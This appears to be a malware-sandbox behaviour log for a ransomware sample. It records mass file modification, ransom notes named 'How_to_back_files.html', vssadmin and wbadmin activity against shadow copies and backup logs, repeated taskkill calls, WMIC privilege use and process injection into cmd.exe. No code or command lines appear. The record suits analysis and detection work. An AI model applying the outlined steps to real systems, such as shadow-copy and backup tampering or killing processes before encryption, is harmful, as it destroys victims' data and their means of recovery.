File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\SmallTile.scale-200_contrast-black.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-200_contrast-black.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\ui-strings.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Microsoft Office\root\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Ion.thmx C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.targetsize-72_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC\ARCTIC.ELM C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\sv\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\AppIcon.targetsize-72_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProXC2RVL_MAKC2R-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\ro\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EURO\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main.css C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\WINWORD_COL.HXT C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Internet Explorer\SIGNUP\install.ins C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\index.win32.bundle.map C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Logos\Square150x150\PaintMedTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-white\SmallTile.scale-200_contrast-white.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019VL_MAK_AE-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\AddressBook2x.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\ExchangeMediumTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription5-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription2-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\asm.md C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\FetchingMail.scale-125.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailWideTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_48.49.31001.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-96_altform-unplated_contrast-high.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-16_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\de-de\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.targetsize-32_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.scale-100_contrast-white.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_48.49.31001.0_x64__8wekyb3d8bbwe\_Resources\20.rsrc C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteNotebookSmallTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019R_Retail-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\EXPEDITN.INF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\Background_ForwardDirection_RoomScale.jpg C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\sunmscapi.jar C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\images\FileSway32x32.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\RunningLate.scale-64.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-96_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\de-DE\TabTip.exe.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\de-DE\oledb32r.dll.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.Preview.winmd C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\BadgeLogo.scale-100.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\Images\Ratings\Yelp3.scale-200.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl C:\Windows\system32\wbadmin.exe N/A
File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl C:\Windows\system32\wbadmin.exe N/A
File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl C:\Windows\system32\wbadmin.exe N/A

Enumerates physical storage devices

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1972 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 4460 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4460 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1972 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1008 wrote to memory of 4188 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1008 wrote to memory of 4188 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4188 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 4188 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 4848 wrote to memory of 1088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4848 wrote to memory of 1088 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1088 wrote to memory of 3628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1088 wrote to memory of 3628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 5016 wrote to memory of 4216 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 5016 wrote to memory of 4216 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4216 wrote to memory of 932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 4216 wrote to memory of 932 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 3008 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3008 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1720 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1720 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
